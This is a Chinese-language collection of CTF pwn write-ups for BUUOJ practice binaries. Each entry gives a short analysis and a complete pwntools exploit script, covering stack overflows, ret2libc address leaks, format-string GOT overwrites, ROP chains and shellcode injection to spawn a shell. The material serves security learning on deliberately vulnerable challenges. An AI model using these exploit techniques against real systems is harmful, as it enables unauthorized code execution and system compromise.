test_your_nc
下载附件,放到linux下面,使用checksec查看文件信息
checksec test
发现是64位小端序,开了栈不可执行和PIE
把文件用IDA打开,发现main函数直接调用了system("/bin/sh")
所以直接用pwntools建立连接
from pwn import *
r = remote("IP",PORT)
r.interactive()
拿到shell,直接cat flag
rip
下载附件,放到linux下面,使用checksec查看文件信息
checksec pwn1
发现是64位小端序,发现没有开啥保护
把文件用IDA打开,发现main函数下面有gets()危险函数
进一步可以发现有个fun函数
里面有/bin/sh字符串,还调用了_system函数
所以直接用pwntools建立连接,发送0xF覆盖栈,发送8覆盖rbp,发送fun函数地址,覆盖返回地址,使得程序执行system("/bin/sh")拿到shell
from pwn import *
r = remote("IP",PORT)
sys_addr = 0x401186
payload = 'A' * 0xF + 'A' * 8 + p64(sys_addr+1) #这边sys_addr加一是因为不能执行push rbp再向栈中写入数据了
s.send(payload)
s.interactive()
warmup_csaw_2016
老样子,先丢到linux使用checksec
发现没开保护,丢到IDA里面
发现sprintf函数,还有一个sub_40060D,跟进sub_40060D
看到调用系统函数system(“cat flag.txt”)
所以使用pwntools建立连接,构造
payload = 0x40 * ‘A’ + 0x8 * ‘A’ + p64(0x40060D) #0x40060D就是函数sub_40060D的地址
发送paylaod,这里使用sendline发送
- sh.send(data) 发送数据
- sh.sendline(data) 发送一行数据,相当于在数据后面加\n
from pwn import *
p = remote('IP',PORT)
payload = 0x40 * ‘A’ + 0x8 * ‘A’ + p64(0x40060D)
p.sendline(payload)
p.interactive()
可以直接拿到flag
ciscn_2019_n_1
下载附件,checkcsec
发现,栈不可执行,丢到IDA里面静态分析
发现有个func()函数,跟进
有个gets函数,下面有何比较,如果v2=11.28125就执行system(“cay /flag”)
我们查看v1和v2的栈
发现可以通过v1输入覆盖栈,将11.28125输入到v2执行system函数
于是,使用pwntools建立连接,发送payload
payload = 'A' * (0x30-0x4) + p32(0x41348000) #这里p32或者p64都可以,0x41348000是11.28125的十六进制,可以通过汇编窗口查看
执行system函数,拿到flag
from pwn import *
p = remote('node4.buuoj.cn',27605)
payload = 'a'*(0x30-0x04) + p32(0x41348000)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
下载附件,checksec
发现是32位小端序,开启了栈不可执行
丢到IDA里面,发现main函数里面有个vuln函数,跟进
发现栈有0x3c大小,但是fget函数只能输入32个字符,下面有函数可以把I换成you,所以只要插入20个I,然后4个字符覆盖EBP,就可以造成栈溢出
在左边的Function Windows可以看到有个get_flag函数,里面有system(“cat flag.txt”),我们把该函数地址发送过过去覆盖vuln函数的返回地址
from pwn import *
r = remote("node4.buuoj.cn",27218)
sys_addr = 0x08048F0D
payload = 'I'*20+'a'*4+p32(sys_addr)
r.sendline(payload)
r.interactive()
jarvisoj_level0
下载附件checksec
发现是64位小端序,开启了栈不可执行
丢到IDA里面,main函数里面有个vulnerable_function函数,跟进
发现read函数可以读取0x200字节的数据,而缓冲区只有0x80,所以可以制造栈溢出
看右边可以发现一个callsystem函数
该函数可以调用_system("/bin/sh")
于是,我打算向栈中写入0x80个字节的数据,然后写入8个字节数据覆盖ebp,然后写入callsystem函数的地址覆盖原来的返回地址
from pwn import *
r = remote("node4.buuoj.cn",27824)
sys_addr = 0x400596
payload = 'A'*0x80 +'A'*8 + p64(sys_addr)
r.send(payload)
r.interactive()
jarvisoj_level2
下载附件checksec,发现就开启了栈不可执行
丢到IDA查看,有个vulnerable函数,而且有system函数,还有个/bin/sh字符串
进入vulnerable函数,看到有个read函数,可以读入0x100个字节,且buf开辟的栈空间0x88
paylaod如下
from pwn import *sh = process('./level2')#sh = remote('node4.buuoj.cn',28107)context.log_level = 'debug'sh_addr = 0x0804A024sys_addr = 0x08048320payload = b'a'*(0x88+4) + p32(sys_addr) + p32(1) + p32(sh_addr)sh.sendline(payload)sh.interactive()
ciscn_2019_c_1
下载附件 checksec
开启了栈不可执行保护
丢到ida查看伪代码
如果输入2
输出 I think you can do it by yourself并调用begin()函数
如果输入3
输出Bye!并退出程序
如果输入2则调用encrypt()函数
我们进入encrypt()该函数
发现gets()一个字符串,然后经过一系列加密,此处存在栈溢出漏洞
我们可以通过泄露puts的地址泄露libc版本,找到libc的基地址,然后计算出system和binsh地址,然后构造栈溢出,拿到shell
from pwn import *from LibcSearcher import *content = 0context(os='linux', arch='amd64', log_level='debug')ret = 0x4006b9 #靶机是ubuntu,所以需要栈平衡elf = ELF('ciscn_2019_c_1')puts_plt = elf.plt["puts"] puts_got = elf.got['puts']main_addr = elf.symbols["main"]pop_rdi_ret = 0x400c83 #×64程序基本都存在的一个地址pop rdi;retdef main(): #p = remote('node4.buuoj.cn',27000) p = process('./ciscn_2019_c_1') payload = b'a' * (0x50 + 8) payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #print(payload) #gdb.attach(p) p.sendlineafter('Input your choice!\n', '1') p.sendlineafter('Input your Plaintext to be encrypted\n', payload) p.recvuntil('Ciphertext\n') p.recvline() puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00')) print(puts_addr) #找出puts的地址 libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') #找出函数地址偏移量 system_addr = libc_base + libc.dump('system') #计算出system的在程序中的地址 binsh_addr = libc_base + libc.dump('str_bin_sh') payload = b'a' * (0x50 + 8) payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) p.sendlineafter('Input your choice!\n', '1') p.sendlineafter('Input your Plaintext to be encrypted\n', payload) p.interactive()main()
[第五空间2019 决赛]PWN5
下载附件 checksec 查看
发现开启了canary和栈不可执行保护
丢到ida里面
发现有个比较函数,如果atoi(nptr) == dword_804C044则调用system("/bin/sh")
所以第一种方法,我们可以修改0x804C044地址出的数据,然后输入数据对比得到shell
from pwn import *p = process('./pwn')addr = 0x0804C044#地址,也就相当于可打印字符串,共16bytepayload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中payload += b"%10$hhn%11$hhn%12$hhn%13$hhn"p.sendline(payload)p.sendline(str(0x10101010))p.interactive()
第二种方法,我们可以直接修改atoi的got地址,将其修改为system函数的地址
from pwn import *p = process('./pwn')elf = ELF('./pwn')atoi_got = elf.got['atoi']system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)p.sendline('/bin/sh\x00')p.interactive()
第三种方法,0x804C044是在bss段,数据是随机生成的,可以通过格式化字符串漏洞改写内存地址的值
from pwn import *context.log_level = "debug"p = process("./pwn")addr = 0x0804C044payload=fmtstr_payload(10,{addr:0x1111})p.sendlineafter("your name:",payload)p.sendlineafter("your passwd",str(0x1111))p.interactive()
[OGeek2019]babyrop
下载附件,checksec
发现开启了full relro和栈不可执行保护
丢到ida里面
跟进sub_804871F函数
看到一个strlen()函数,该函数可以通过\X00绕过我们可以看到buf[7]是一个7字节的数组
查看main函数下的sub_80487D0函数
这里的a1参数就是在栈空间中紧挨着buf[7]下面的我们可以覆盖a1大于127就可以
然后覆盖buf栈,利用题目给的libc版本算出基地址,然后算出system函数的地址和binsh地址,然后就可以构造payload调用system(/bin/sh)拿到shell了
from pwn import *io=remote('node4.buuoj.cn',29181)#io=process('./pwn')elf=ELF('./pwn')libc=ELF('./libc-2.23.so')system_libc=libc.symbols['system']binsh_libc=libc.search('/bin/sh').next()write_libc=libc.symbols['write']write_plt=elf.plt['write']write_got=elf.got['write']main_addr=0x8048825payload='\x00'+'\xff'*6+'\xff' io.sendline(payload)io.recvuntil("Correct\n")payload='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)payload+=p32(1)+p32(write_got)+p32(4)io.sendline(payload)write_addr=u32(io.recv(4))base=write_addr-write_libcsystem_addr=system_libc+basebinsh_addr=binsh_libc+basepayload=b'\x00'+b'\xff'*7io.sendline(payload)io.recvuntil("Correct\n")payload='a'*(0xe7+4)+p32(system_addr)+p32(main_addr)payload+=p32(binsh_addr)io.sendline(payload)io.interactive()
ciscn_2019_n_8
下载附件,checksec
发现开启了canary和栈不可执行还有PIE地址随机化
丢到ida查看伪代码
发现输入的数据到var[]数组中,如果var[13]是17就调用system("/bin/sh"),而且var数组是qword是4字节的所以我们发送13*4个字节的数据然后发送0x11就可以使得var[13]为17了
from pwn import *io=remote('node4.buuoj.cn',27202)#io=process('ciscn_2019_n_8')payload = b'A'*13*4 + p32(0x11)io.sendline(payload)io.interactive()
ciscn_2019_en_2
下载附件,checksec
发现就开启了栈不可执行
丢到IDA里面
一开始接受一个输入,如果该输入是1则进入一个encrypt()的函数,进入该函数
看到该函数就是一个栈溢出的函数,gets(s)没有对输入的长度进行限制,栈为变量s开辟了0x50大小的空间,下面是一个加密算法,但是我们可以使用\0绕过strlen()函数
payloadload如下
from pwn import *from LibcSearcher import *context.os='linux'context.arch='amd64'context.log_level='debug'#r = remote('node4.buuoj.cn',28704)r = process('./ciscn_2019_en_2')elf = ELF('./ciscn_2019_en_2')puts_plt = elf.plt['puts']puts_got = elf.got['puts']print(puts_plt)print(puts_got)main_addr = 0x000400B28ret = 0x0000000000400C84pop_di = 0x0000000000400c83 # pop rdi ; retr.sendlineafter('choice!\n','1')p = b'\0' + b'a'*0x57 + p64(pop_di) + p64(puts_got) + p64(puts_plt) + p64(main_addr)#gdb.attach(r)r.sendlineafter('encrypted\n',p)r.recvline()r.recvline()#puts_addr = u64(r.recv(8))puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))#puts_addr= u64(r.recvline()[:-1].ljust(8, '\x00'))#print(puts_addr)#print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libcbase = puts_addr - libc.dump('puts')sys_addr = libcbase + libc.dump('system')binsh_addr = libcbase + libc.dump('str_bin_sh')r.sendlineafter('choice!\n','1')p = b'\0' + b'a'*0x57 + p64(ret) + p64(pop_di) + p64(binsh_addr) + p64(sys_addr)r.sendlineafter('encrypted\n',p)r.interactive()
get_started_3dsctf_2016
下载附件,checksec
发现开启了栈不可执行
丢到IDA
发现main函数调用了gets()
查看传入gets()函数的变量在栈中开辟的大小
开辟了0x38个字节的大小,所以我们可以覆盖栈空间,造成栈溢出
我们在上面发现了一个cat_flag函数
该函数传入两个参数,如果第一个是0x308CD64F,第二个是0x195719D1,则可以读取本地的flag.txt文件,所以可以把返回地址覆盖为0x80489A0,然后覆盖一个返回地址,不然程序不会正常执行,可以在IDA中找到一个exit函数保证程序正常执行,然后就可以覆盖那两个cat_flag函数需要的参数了
payload如下
from pwn import *sh = process('./get_started_3dsctf_2016')context.log_level = 'debug'cat_flag = 0x080489A0payload = b'a' * 0x38 + p32(cat_flag) + p32(0x0804E6A0) + p32(814536271) + p32(425138641)sh.sendline(payload)sh.recv()
bjdctf_2020_babystack
下载附件,checksec
发现只开启了栈不可执行保护
丢到IDA
发现先输入一个数字,然后后面的read函数存在栈溢出,而且可以看到前面接受的数字是后面read函数的参数,是指read函数可以读入的字节数,然后可以再上面看到一个后门函数,可以把返回地址覆盖为back_door
payload如下
from pwn import *#sh = process("./bjdctf_2020_babystack")sh = remote('node4.buuoj.cn',28327)context.log_level = 'debug'sh.sendlineafter('[+]Please input the length of your name:','100')payload = b'a' * 0x10 + b'a' * 8back_door = 0x04006E6payload += p64(back_door)sh.sendlineafter('name?',payload)sh.interactive()
奇怪的是,exp本地打不通,远程可以打通
not_the_same_3dsctf_2016
下载附件,checksec
发现就开启了栈不可执行
丢到IDA
程序先是printf一个字符串,然后调用gets(),将接收到的字符串传入vat_2D处,这里存在栈溢出
var_2D变量大小为0x2D
我们可以看到有一个get_secret函数,该函数打开了flag.txt文件然后把flag的数据读入到bss段上
我一开始的想法是通过write函数把bss段上的flag显示出来,但是fgets函数有读入大小限制所以此方法失败了,于是我打算通过向bss段写shellcode的方法
在IDA中Ctrl+S可以看到.bss段只有读写权限,没有执行权限
但是进一步我看到了mprotect函数,于是我打算通过该函数赋予bss段权限
payload如下
from pwn import*#r=remote('node4.buuoj.cn',29054)r = process('not_the_same_3dsctf_2016')elf=ELF('not_the_same_3dsctf_2016')read_addr=elf.symbols['read']mprotect=0x806ED40addr=0x80eb000p3_ret=0x806fcc8shellcode=asm(shellcraft.sh())payload =b'a'*0x2d+p32(mprotect)+p32(p3_ret)payload +=p32(addr)+p32(0x100)+p32(0x7)payload +=p32(read_addr)+p32(p3_ret)payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)r.sendline(payload)r.sendline(shellcode)#gdb.attach(r)r.interactive()
[HarekazeCTF2019]baby_rop1
下载附件checksec
看到只开启了栈不可执行,丢到IDA里面
发现scanf函数存在栈溢出,变量大小为0x10,而且我们在程序中找到了system函数和/bin/sh字符串,所以我们可以找到pop rdi去把/bin/sh传入rdi,然后调用system函数使用ROPgadget寻找pop rdi
from pwn import *sh = process('babyrop')#sh = remote('node4.buuoj.cn',26921)context.log_level = 'debug'pop_rdi_addr = 0x0400683bin_sh_addr = 0x00601048sys_addr = 0x00400490payload = b'a'*0x10 + b'a'*8payload += p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)sh.recvuntil('? ')sh.sendline(payload)sh.interactive()
jarvisoj_level2_x64
下载附件checksec,发现就开启了栈不可执行
丢到IDA里面
有个vulnerable函数,而且还有个system函数,进去vulnerable函数
发现有个read函数,可以接受0x200个字节,存入buf中,可以看到给buf开辟的大小为0x80字节,所以存在栈溢出漏洞
而且还有个/bin/sh字符串
所以我们可以pop rdi把/bin/sh字符串传入rdi然后调用system
payload如下
from pwn import *#sh = process('./level2_x64')sh = remote('node4.buuoj.cn',26323)context.log_level = 'debug'rdi_addr = 0x04006b3sh_addr = 0x0600A90sys_addr = 0x04004C0payload = b'a'*(0x80+8)payload += p64(rdi_addr) + p64(sh_addr) + p64(sys_addr)sh.sendline(payload)sh.interactive()
ciscn_2019_n_5
下载附件checksec吗,看到啥保护也没开
丢到IDA
发现gets函数可以造成栈溢出,而且前面还有个read函数读取数据到name中,name是在bss段中的,由于没有开启栈不可执行,所以可以在read函数处写入shellcode到bss段,然后后面gets函数造成栈溢出,执行shellcode
payload如下
from pwn import *sh = process('ciscn_2019_n_5')context(arch='amd64',os='linux',log_level='debug')#sh = remote('node4.buuoj.cn',25164)shellcode = asm(shellcraft.sh())sh.sendlineafter('tell me your name',shellcode)paylad = b'a'*(0x20+8)paylad += p64(0x000601080)sh.sendlineafter('What do you want to say to me?',paylad)sh.interactive()
others_shellcode
下载附件,checksec,发现开启了栈不可执行和PIE
丢到IDA里面
我们直接看getShell这个函数,里面有用到int 80执行系统调用,而且eax=0FFFFFFFF-0FFFFFFF4=11,是execve的系统调用号,而且/bin/sh也被压入栈中,所以我们直接运行程序就拿到shell了,打远程的话直接用nc连就可以了
ciscn_2019_ne_5
下载附件checksec,开启了栈不可执行
丢到IDA里面,先是判断输入的是否为administrator,是的话继续运行,然后根据输入的数字跳转到对应的函数
我们逐一查看各个函数
AddLog函数是输入数据到a1中
Print函数中调用了system函数
GtFlag函数将数据传到了dest中,dest变量是在栈中的,可以触发栈溢出漏洞
payload如下:
from pwn import *#sh = process('ciscn_2019_ne_5')sh = remote('node4.buuoj.cn',26758)context.log_level = 'debug'sh_addr = 0x080482easys_addr = 0x080484D0payload = b'a'*(0x48+4)payload += p32(sys_addr) + b'aaaa' + p32(sh_addr)sh.sendlineafter('Please input admin password:','administrator')sh.sendlineafter('0.Exit\n:','1')sh.sendlineafter('Please input new log info:',payload)sh.sendlineafter('0.Exit\n:','4')sh.interactive()